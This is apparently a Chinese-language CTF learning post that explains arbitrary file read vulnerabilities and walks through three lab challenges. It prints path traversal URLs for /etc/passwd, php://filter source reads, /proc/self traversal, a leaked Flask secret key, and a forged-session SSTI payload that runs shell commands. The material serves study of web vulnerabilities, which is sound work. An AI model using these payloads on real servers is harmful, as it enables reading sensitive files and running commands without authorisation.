目录
什么是任意文件读取漏洞?
任意文件读取漏洞,它允许攻击者在服务器上读取任何文件,而不仅仅是那些应该公开访问的文件。这类漏洞可能出现在Web应用程序、服务器配置或文件系统权限管理不当的情况下,导致攻击者可以绕过正常的访问控制机制,读取系统中的敏感文件,如密码文件、配置文件、用户数据等。
任意文件读取漏洞场景有以下以下几种:
1. 文件包含漏洞:
某些Web应用通过参数传递文件名,然后将文件内容直接包含到页面中。如果没有对传入的文件名进行严格的验证,攻击者可能传递恶意文件路径,如 …/…/…/etc/passwd,从而读取服务器上的敏感文件。
示例URL:
http://example.com/index.php?page=../../../../etc/passwd
2. 路径遍历漏洞:
这种漏洞发生在用户输入的文件路径未经过验证直接用于文件操作的情况下。攻击者可以利用 …/ 这样的路径遍历序列访问超出预期目录的文件。
示例URL:
http://example.com/download?file=../../../../etc/passwd
3. 文件解析漏洞:
一些Web应用程序允许用户上传文件,但没有正确验证上传文件的类型和内容,攻击者可以上传一个恶意文件,然后通过解析这个文件读取服务器上的其他文件。
相关CTF练习题
01CTFer-web入门
afr-01(php伪协议)
输入flag发现有不太对的回显,这时候flag可能是一个文件,页面上的nonono是该文件的输出。尝试假设它是个PHP文件,利用php伪协议
php://filter/read=convert.base64-encode/resource=index.php
,把index.php
换成flag
:
php://filter/read=convert.base64-encode/resource=flag
得到一串base64编码,放入随波逐流进行解码:
得到Flag
afr-02(nignx配置导致目录穿越)
打开发现一堆摇子,URL里面没有明显信息
查看文件链接地址,有一个明显的路径
尝试查看其前一个目录,能访问到
使用../
返回到当前目录的上层目录,..
是Linux中的一个特殊符号,代表上一层目录。
在文件夹后面加上…/,就可以查看文件的上一级了
最后打开flag文件,下载后得到flag
afr-03(目录穿越 + Linux/proc + Flask SSTI)
打开靶场,乍一看很像sql注入,但是输入之后页面有name的回显,那可能是sql注入
或者SSTI模板注入
。
(后来证明会是在LinuxProc知识点下利用的模板注入)
关于SSTI的知识可以看这篇入门。 SSTI模板注入
先判断是否是sql注入,点进页面先抓个包,将该 HTTP 请求保存为一个文件 request.txt。
使用 sqlmap 加载这个请求文件并进行注入测试,结果没找到注入点。
顺便检测一下这个name的部分是不是注入点:http://7b50c38f-4cf3-418f-9c30-cb09629e130e.node5.buuoj.cn:81/article?name=article
,同样用sqlmap跑了一下,没跑通。
接下来检验是否是SSTI模板注入。
结果不是49而是7*7,SSTI模板注入不能用,头秃。
这个时候看了一下别人的wp,发现考点是linux /proc的相关内容。
afr3 任意文件读取 SSTI flask模板注入 session伪造 详细题解
利用linux /proc文件系统,可以读取一些相关的文件,进程等信息。
- /proc/[pid]-当查看当前进程的时候可以用/proc/self代替
- /proc/cmdline - 系统启动时输入的内核命令行参数,启动当前进程的完整命令
- /cwd — 指向当前进程运行目录的一个符号链接
- /proc/cpuinfo - CPU 的信息 (型号, 家族, 缓存大小等)
- /proc/meminfo - 物理内存、交换空间等的信息
- /proc/mounts - 已加载的文件系统的列表
- /proc/devices - 可用设备的列表
- /proc/filesystems - 被支持的文件系统
- /proc/modules - 已加载的模块
- /proc/version - 内核版本
结合目录穿越构造payload,得知有一个server.py文件:
article?name=../../../proc/self/cmdline
查看server.py文件:
article?name=../../../proc/self/cwd/server.py
爆了一个server.py的源代码
F12查看源代码或者给gpt分析一下,可以看出源代码里面提到了flag.py跟key.py两个文件。
#!/usr/bin/python
import os
from flask import (
Flask, render_template, request, url_for, redirect, session, render_template_string
)
from flask_session import Session
app = Flask(__name__)
# 执行外部Python文件,获取flag和key
execfile('flag.py')
execfile('key.py')
# 设置FLAG变量
FLAG = flag
# 设置Flask应用的密钥,用于会话管理
app.secret_key = key
# 定义n1page路由,处理POST和GET请求
@app.route("/n1page", methods=["GET", "POST"])
def n1page():
# 如果请求不是POST,则重定向到首页
if request.method != "POST":
return redirect(url_for("index"))
# 获取POST请求中的n1code参数
n1code = request.form.get("n1code") or None
# 对n1code进行简单的字符串替换,去掉一些特殊字符
if n1code is not None:
n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","")
# 如果session中没有n1code或n1code为None,则将n1code存入session
if "n1code" not in session or session['n1code'] is None:
session['n1code'] = n1code
template = None
# 如果session中的n1code不为None,则生成HTML模板
if session['n1code'] is not None:
template = '''<h1>N1 Page</h1>
<div class="row>
<div class="col-md-6 col-md-offset-3 center">
Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>?
</div>
</div> ''' % session['n1code']
# 清空session中的n1code
session['n1code'] = None
# 使用render_template_string渲染生成的HTML模板并返回
return render_template_string(template)
# 定义首页路由,处理GET请求
@app.route("/", methods=["GET"])
def index():
# 渲染main.html模板并返回
return render_template("main.html")
# 定义article路由,处理GET请求
@app.route('/article', methods=['GET'])
def article():
error = 0
# 获取name参数,默认为'article'
if 'name' in request.args:
page = request.args.get('name')
else:
page = 'article'
# 如果name参数中包含'flag',则将page设置为'notallowed.txt'
if page.find('flag') >= 0:
page = 'notallowed.txt'
try:
# 打开并读取指定的文章文件内容
template = open('/home/nu11111111l/articles/{}'.format(page)).read()
except Exception as e:
# 如果出现异常,则将异常信息作为模板内容
template = e
# 渲染article.html模板并返回
return render_template('article.html', template=template)
# 主函数,运行Flask应用
if __name__ == "__main__":
app.run(host='0.0.0.0', debug=False)
直接访问flag.py发现访问不了,没有权限,还是通过构造Linux proc的payload进行注入吧。
访问key.py出现一个key值:
key = 'Drmhze6EPcv0fN_81Bj-nA'
用key开始伪造,伪造flask的session:
用到一个工具:https://github.com/noraj/flask-session-cookie-manager
下边这部分是针对常见Flask/Jinja2 (Python)模板引擎的 SSTI 利用语句:
这个SSTI的语句是GPT给我的,如果试出来不对,重新生成一下看看。
{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}
构造linux语句
得到伪造的session。
.eJwdikEKgCAQAL8SXlYvQl2CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAPljNjoOBnRDHPDfC-_961IZcb-k3vcr3_cAi8UWjLAGWadOPkowdLVrYE2nR5Q-vTkpKpV1BcrHygP.ZsWcQw.XkhWICqaPqPR2izlvJRp8B0Y748
抓包改包一下得到flag